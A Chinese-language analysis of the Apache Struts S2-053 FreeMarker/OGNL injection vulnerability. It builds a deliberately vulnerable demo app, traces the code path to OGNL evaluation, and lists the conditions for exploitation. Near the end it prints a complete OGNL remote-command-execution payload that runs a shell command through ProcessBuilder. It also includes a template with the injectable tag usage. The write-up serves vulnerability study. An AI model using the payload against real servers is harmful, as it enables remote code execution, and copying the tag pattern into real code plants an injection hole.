影响版本:
Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10
0x01 部署又见踩坑
这回漏洞主要位于struts对freemarker处理的问题
表现层技术主要有三种:jsp、freemarker、velocity
idea生成maven项目,在pom.xml中添加依赖
<dependencies> <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.5.8</version> </dependency> <dependency> <groupId>org.freemarker</groupId> <artifactId>freemarker</artifactId> <version>2.3.28</version> </dependency> </dependencies>
将core.jar的
/META-INF/struts-tags.tld
拷贝到项目/WEB-INF
下WEB-INF/classes下创建struts.xml,内容
<struts> <package name="test" extends="struts-default"> <action name="welcome" class="first"> <result type="freemarker" name="success"> /WEB-INF/ftl/first.ftl </result> </action> </package> </struts>
附上first.class和first.ftl
import com.opensymphony.xwork2.ActionSupport; public class first extends ActionSupport { private String name="SystemUser"; public String getName(){ return name; } public void setName(String name){ this.name = name; } @Override public String execute() throws Exception{ return SUCCESS; } }
<html> <head> <title>S2-053 Demo</title> </head> <body> <h1>S2-053 Demo</h1> <hr/> Your name: <@s.url value="${name}"/> <hr/> Enter your name here:<br/> <form action="" method="get"> <input type="text" name="name" value="" /> <input type="submit" value="Submit" /> </form> <br/> <p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p> </body> </html>
目录结构
0x02 分析
跟进分析
action结束后,由于result-type为freemarker,进入对应类进行处理
<result-type name="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult"/>
新建一个进程,打印模板内容
跟进process
再跟进ObjectWrapper#process(),从根节点进行渲染
跟进visit(),这里采用深度遍历,同时渲染节点,accept()会解析节点内容,遇到表达式会跟进处理
简单跟一下accept(),如果不是自定义宏,会调用visitAndTransform对节点中的表达式进行处理
跟进几层,TransformControl会在页面跳转前对参数值进行处理,
findString最后会调用findValue,在这里OGNL表达式被执行
org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)
流程梳理
st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.views.freemarker.FreemarkerResult
a=>operation: 通过template.process(model, writer)进行模板处理
b=>operation: 利用freemarker.core.Environment#visit(freemarker.core.TemplateElement)深度遍历节点内容,将表达式筛选出来
c=>operation: 遇到表达式会进入freemarker.core.UnifiedCall#accept解析表达式内容,TemplateModel value = valueExp.eval(env)
en=>end: 如果不是自定义宏,则进入visitAndTransform,一些列操作后执行ognl
st->a->b->c->en
调用栈信息
通过POC快速定位
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
注意到调用了ProcessBuilder#start(),将断点打在ProcessBuilder类的start()方法
java.lang.ProcessBuilder#start
0x03 利用条件
- struts使用freemarker标签
- 标签使用不规范,直接嵌入表达式,例如
<@s.url value="${name}"/>
P.S. freemarker内置标签可看 参考资料[3][4]
##参考资料